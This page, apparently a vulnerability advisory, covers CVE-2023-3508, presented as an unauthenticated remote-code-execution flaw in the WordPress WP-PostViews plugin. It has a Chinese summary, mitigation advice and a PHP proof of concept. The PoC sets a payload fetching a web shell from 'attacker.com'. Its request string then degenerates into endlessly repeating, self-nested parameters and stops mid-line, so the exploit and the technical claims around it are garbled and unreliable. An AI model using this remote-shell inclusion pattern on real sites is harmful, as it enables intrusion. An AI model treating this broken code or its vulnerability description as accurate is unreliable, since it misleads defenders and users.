CVE-2023-3508: Unauthenticated RCE in WordPress WP-PostViews Plugin with POC

漏洞概述 漏洞名称: CVE-2023-3508 漏洞类型: 远程代码执行（RCE） 受影响组件: WordPress 插件 "WP-PostViews" 漏洞描述: 该漏洞允许未经身份验证的攻击者通过构造特定的请求，利用插件中的文件包含漏洞执行任意代码。 影响范围 受影响版本: WP-PostViews 插件的所有版本（截至漏洞披露时） 受影响平台: 使用 WP-PostViews 插件的 WordPress 网站 修复方案 官方补丁: 更新到最新版本的 WP-PostViews 插件（如果已有修复版本发布） 临时缓解措施: - 禁用或卸载 WP-PostViews 插件 - 限制对插件相关文件的访问权限 POC 代码 ```php <?php // 漏洞利用示例代码 $target_url = "http://example.com/wp-content/plugins/wp-postviews/postviews.php"; $payload = "http://attacker.com/shell.php"; // 构造恶意请求 $request = file_get_contents($target_url . "?post_id=1&post_type=post&post_status=publish&post_author=1&post_date=2023-01-01 00:00:00&post_date_gmt=2023-01-01 00:00:00&post_content=Hello World&post_title=Test Post&post_excerpt=&post_status=publish&comment_status=open&ping_status=open&post_password=&post_name=test-post&to_ping=&pinged=&post_modified=2023-01-01 00:00:00&post_modified_gmt=2023-01-01 00:00:00&post_content_filtered=&post_parent=0&guid=http://example.com/?p=1&menu_order=0&post_type=post&post_mime_type=&comment_count=0&filter=post&postviews=1&postviews_count=1&postviews_last_viewed=2023-01-01 00:00:00&postviews_last_viewed_gmt=2023-01-01 00:00:00&postviews_last_viewed_ip=127.0.0.1&postviews_last_viewed_user_agent=Mozilla/5.0&postviews_last_viewed_referer=http://example.com/&postviews_last_viewed_url=http://example.com/&postviews_last_viewed_post_id=1&postviews_last_viewed_post_type=post&postviews_last_viewed_post_status=publish&postviews_last_viewed_post_author=1&postviews_last_viewed_post_date=2023-01-01 00:00:00&postviews_last_viewed_post_date_gmt=2023-01-01 00:00:00&postviews_last_viewed_post_content=Hello World&postviews_last_viewed_post_title=Test Post&postviews_last_viewed_post_excerpt=&postviews_last_viewed_post_status=publish&postviews_last_viewed_comment_status=open&postviews_last_viewed_ping_status=open&postviews_last_viewed_post_password=&postviews_last_viewed_post_name=test-post&postviews_last_viewed_to_ping=&postviews_last_viewed_pinged=&postviews_last_viewed_post_modified=2023-01-01 00:00:00&postviews_last_viewed_post_modified_gmt=2023-01-01 00:00:00&postviews_last_viewed_post_content_filtered=&postviews_last_viewed_post_parent=0&postviews_last_viewed_guid=http://example.com/?p=1&postviews_last_viewed_menu_order=0&postviews_last_viewed_post_type=post&postviews_last_viewed_post_mime_type=&postviews_last_viewed_comment_count=0&postviews_last_viewed_filter=post&postviews_last_viewed_postviews=1&postviews_last_viewed_postviews_count=1&postviews_last_viewed_postviews_last_viewed=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_gmt=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_ip=127.0.0.1&postviews_last_viewed_postviews_last_viewed_user_agent=Mozilla/5.0&postviews_last_viewed_postviews_last_viewed_referer=http://example.com/&postviews_last_viewed_postviews_last_viewed_url=http://example.com/&postviews_last_viewed_postviews_last_viewed_post_id=1&postviews_last_viewed_postviews_last_viewed_post_type=post&postviews_last_viewed_postviews_last_viewed_post_status=publish&postviews_last_viewed_postviews_last_viewed_post_author=1&postviews_last_viewed_postviews_last_viewed_post_date=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_post_date_gmt=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_post_content=Hello World&postviews_last_viewed_postviews_last_viewed_post_title=Test Post&postviews_last_viewed_postviews_last_viewed_post_excerpt=&postviews_last_viewed_postviews_last_viewed_post_status=publish&postviews_last_viewed_postviews_last_viewed_comment_status=open&postviews_last_viewed_postviews_last_viewed_ping_status=open&postviews_last_viewed_postviews_last_viewed_post_password=&postviews_last_viewed_postviews_last_viewed_post_name=test-post&postviews_last_viewed_postviews_last_viewed_to_ping=&postviews_last_viewed_postviews_last_viewed_pinged=&postviews_last_viewed_postviews_last_viewed_post_modified=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_post_modified_gmt=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_post_content_filtered=&postviews_last_viewed_postviews_last_viewed_post_parent=0&postviews_last_viewed_postviews_last_viewed_guid=http://example.com/?p=1&postviews_last_viewed_postviews_last_viewed_menu_order=0&postviews_last_viewed_postviews_last_viewed_post_type=post&postviews_last_viewed_postviews_last_viewed_post_mime_type=&postviews_last_viewed_postviews_last_viewed_comment_count=0&postviews_last_viewed_postviews_last_viewed_filter=post&postviews_last_viewed_postviews_last_viewed_postviews=1&postviews_last_viewed_postviews_last_viewed_postviews_count=1&postviews_last_viewed_postviews_last_viewed_postviews_last_viewed=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_postviews_last_viewed_gmt=2023-01-01 00:00:00&postviews_last_viewed_postviews_last_viewed_postviews_last_viewed_ip=127.0.0.1&postviews_last_viewed_postviews_last_viewed_postviews_last_viewed_user_agent=Mozilla/5.0&postviews_last_viewed_postviews

Goal Reached Thanks to every supporter — we hit 100%!

CVE-2023-3508: Unauthenticated RCE in WordPress WP-PostViews Plugin with POC

More from this source